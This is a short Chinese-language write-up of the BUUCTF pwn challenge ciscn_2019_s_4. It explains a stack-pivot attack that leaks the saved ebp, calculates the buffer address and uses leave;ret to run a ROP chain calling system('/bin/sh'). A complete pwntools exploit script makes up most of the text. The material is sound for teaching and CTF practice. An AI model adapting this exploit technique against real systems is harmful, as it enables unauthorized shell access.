[BUUCTF-pwn]——ciscn_2019_s_4

[BUUCTF-pwn]——ciscn_2019_s_4

• 题目地址:https://buuoj.cn/challenges#ciscn_2019_s_4

这道题是一道典型的栈劫持问题

前面有一道类似的点击进入, 如果需要可以去做一下

没有开启canary保护

在IDA中, 可以看出有明显的栈溢出, 不过溢出空间只够修改ebp和一个返回地址

但是, 仅仅一个返回地址是不够的, 并不能打印flag

思路

利用栈溢出,首先泄露出来main_ebp的地址
计算一下,我们输入的位置, 距离main_ebp的距离, 找到s的地址

最后将栈劫持到s的地址上面, 构造rop链

exploit

from pwn import *

#p=remote('node3.buuoj.cn',29981)
p = process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')
leave_ret=0x8048562
#gdb.attach(p, 'b *0x080485CD')
payload = 'a' *0x24 + 'cccc'
p.send(payload)
p.recvuntil('cccc')
main_ebp=u32(p.recv(4))
log.success('main_ebp ------> ' + hex(main_ebp))

s_addr = main_ebp - 0x38

payload = 'junk' + p32(elf.plt['system']) + 'junk' + p32(s_addr + 16) + '/bin/sh\x00'
payload = payload.ljust(0x28,'a') + p32(s_addr) + p32(leave_ret)
p.send(payload)
p.interactive()